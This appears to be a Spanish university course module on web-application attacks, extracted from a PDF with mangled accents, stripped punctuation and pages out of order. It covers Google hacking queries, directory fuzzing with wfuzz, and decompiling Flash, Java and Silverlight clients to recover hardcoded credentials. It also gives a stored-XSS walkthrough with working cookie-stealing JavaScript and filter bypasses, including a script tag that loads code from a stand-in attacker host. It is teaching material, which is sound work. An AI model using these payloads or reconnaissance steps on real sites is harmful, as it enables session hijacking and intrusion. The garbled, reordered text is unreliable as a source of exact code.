bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 12: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web

bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-

do las paacuteginas utilizan datos introducidos por el usuario para generar al-

guacuten tipo de evento personalizado o para almacenar datos que se van a usar

posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea

como la siguiente

ltscriptgt var busqueda = [busqueda] ltscriptgt

En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-

demos directamente introducir el coacutedigo Javascript como se refleja en la

siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-

tante cuando sea necesario evitar los filtros anti-XSS que las eliminan

alert(iexclHola Mundo)

Hemos utilizado las barras al final de la sintaxis para lograr que el resto de

la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-

tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-

do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML

debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores

no lo ejecutaraacuten

ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt

bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-

nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye

dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-

tido del supuesto de que no existen filtros anti-XSS implementados Jun-

to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de

coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP

113 Diseccionando un ataque

Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un

ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-

okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten

consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador

uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-

lizamos hacia un servidor Este identificador asociado a un usuario que se ha

ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-

denciales para cada paacutegina que el usuario visita dentro de un mismo dominio

Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos

al servidor este nos asociaraacute en todo momento al usuario al que estamos su-

plantando

CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web

El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en

una paacutegina web es localizar zonas funcionales de esta que permitan la intro-

duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente

si queda almacenado en una base de datos o bien de forma no permanente

si no es asiacute

En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio

de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible

ataque XSS

Figura 2 Enviacuteo de mensaje

Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo

de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una

serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres

a introducir seriacutean

bull Comilla simple (lsquo)

bull Comilla doble (ldquo)

bull Siacutembolo de mayor que (gt)

bull Siacutembolo de menor que (lt)

bull Barra ()

bull Espacio ( )

Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-

sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar

su existencia de forma totalmente definitiva siempre existe la posibilidad de

encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras

clave como script onload o javascript

En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-

raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-

queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-

mer ataque de XSS

En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-

luser De este modo todas las pruebas que realicemos se enviacutean directamente a

este usuario evitando alertar al usuario administrador En el campo del Cuer-

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

